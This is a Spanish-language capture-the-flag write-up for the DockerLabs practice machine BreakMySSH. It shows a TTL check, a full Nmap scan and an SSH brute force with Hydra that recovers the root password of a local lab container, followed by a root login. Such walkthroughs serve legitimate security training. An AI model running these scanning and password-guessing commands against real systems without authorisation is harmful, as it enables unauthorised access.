Muy Facil Dockerlabs

14 de octubre de 2025

DockerLabs: Máquina BreakMySSH

Resolución de la máquina BreakMySSH de DockerLabs, centrada en reconocimiento con Nmap, fingerprinting por TTL y fuerza bruta SSH con Hydra para obtener acceso root.

SSH Brute Force Hydra Nmap
Imagen de portada para DockerLabs: Máquina BreakMySSH

Ejecución de Maquina

Como ya sabemos la ejecución de la maquina de docker descomprimimos el archivo en una estructuración de carpeta a nuestro gusto:

mkdir BreakMySSH && cd BreakMySSH
mv ~/Descargas/breakmyssh.zip .

7z x breakmyssh.zip   
----------------------------------------------------------------------
7-Zip 25.01 (x64) : Copyright (c) 1999-2025 Igor Pavlov : 2025-08-03
 64-bit locale=es_CO.UTF-8 Threads:128 OPEN_MAX:1024, ASM

Scanning the drive for archives:
1 file, 146884908 bytes (141 MiB)

Extracting archive: breakmyssh.zip
--
Path = breakmyssh.zip
Type = zip
Physical Size = 146884908

Everything is Ok  

Files: 2
Size:       398682736
Compressed: 146884908

Ahora ejecutamos la maquina como administrador

sudo bash auto_deploy.sh breakmyssh.tar 
---------------------------------------------------------------------- 

Estamos desplegando la máquina vulnerable, espere un momento.

Máquina desplegada, su dirección IP es --> 172.17.0.2

Presiona Ctrl+C cuando termines con la máquina para eliminarla

Con esto podemos empezar a ver todo lo que tiene que ver con respecto a las vulnerabilidades de esta maquina… ¡Vamos a ello!


Reconocimiento de Puertos

Como ya es costumbre, generaremos dos carpetas iniciales para empezar a guardar el contenido importante y me moveré a la carpeta donde realizare el escaneo de la maquina

mkdir walkthrough
mkdir walkthrough/nmap

cd walkthrough/nmap

Aplicamos el truco del ttl, si el resultado es 64 sabemos que es una maquina Linux, si es 128 es una maquina Windows

ping -c 4 172.17.0.2
-----------------------------------------------------------------
PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.176 ms
64 bytes from 172.17.0.2: icmp_seq=2 ttl=64 time=0.050 ms
64 bytes from 172.17.0.2: icmp_seq=3 ttl=64 time=0.076 ms
64 bytes from 172.17.0.2: icmp_seq=4 ttl=64 time=0.051 ms

--- 172.17.0.2 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3092ms
rtt min/avg/max/mdev = 0.050/0.088/0.176/0.051 ms

Identificando la maquina Linux aplicamos el escaneo de puertos con Nmap y ver que podemos encontrar:

nmap -sVC -sS -p- -Pn 172.17.0.2 -oN nmap/resultado.txt
--------------------------------------------------------------------------------------------------
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-05 14:09 -05
Nmap scan report for 172.17.0.2
Host is up (0.000010s latency).
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.7 (protocol 2.0)
| ssh-hostkey: 
|   2048 1a:cb:5e:a3:3d:d1:da:c0:ed:2a:61:7f:73:79:46:ce (RSA)
|   256 54:9e:53:23:57:fc:60:1e:c0:41:cb:f3:85:32:01:fc (ECDSA)
|_  256 4b:15:7e:7b:b3:07:54:3d:74:ad:e0:94:78:0c:94:93 (ED25519)
MAC Address: 02:42:AC:11:00:02 (Unknown)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 2.11 seconds

Debido a la facilidad de estas maquinas, es casi inmediato pensar que el ataque a realizar en este momento es un ataque de fuerza bruta al puerto ssh, esto debido a que es el unico puerto que vamos a poder obtener.


Explotación con Escalada de Privilegio

Sabiendo que tenemos que realizaremos un ataque de fuerza bruta, utilizaremos hydra para intentar romper las credenciales. Para ello utilizaremos la lista de usuarios de Seclist para probar su correcto funcionamiento

hydra -L /usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt -P /usr/share/wordlists/rockyou.txt ssh://172.17.0.2 -t 4 -v -I
-----------------------------------------------------------------------------------------------------------------------------------------------------
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-09-05 14:13:54
[DATA] max 4 tasks per 1 server, overall 4 tasks, 243854783 login tries (l:17/p:14344399), ~60963696 tries per task
[DATA] attacking ssh://172.17.0.2:22/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[INFO] Testing if password authentication is supported by ssh://root@172.17.0.2:22
[INFO] Successful, password authentication is supported by ssh://172.17.0.2:22
[22][ssh] host: 172.17.0.2   login: root   password: estrella

Bingo, hemos encontrado las credenciales de administrador de la maquina, por lo cual nos quedaría conectar mediante ssh para obtener acceso como administrador.

Nota: Pese a que encontramos las credenciales de administrador, es raro llegar a conseguirlas en un ámbito real, por lo cual no podemos conformarnos con realizar esta maquina.

ssh root@172.17.0.2                    
root@172.17.0.2's password:
---------------------------------------------------------------------------

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
root@21c3ff5be14a:~#

Una maquina sencilla pero buena para practicar respecto a los ataques de fuerza bruta en ssh. Con esto completamos otra maquina SSH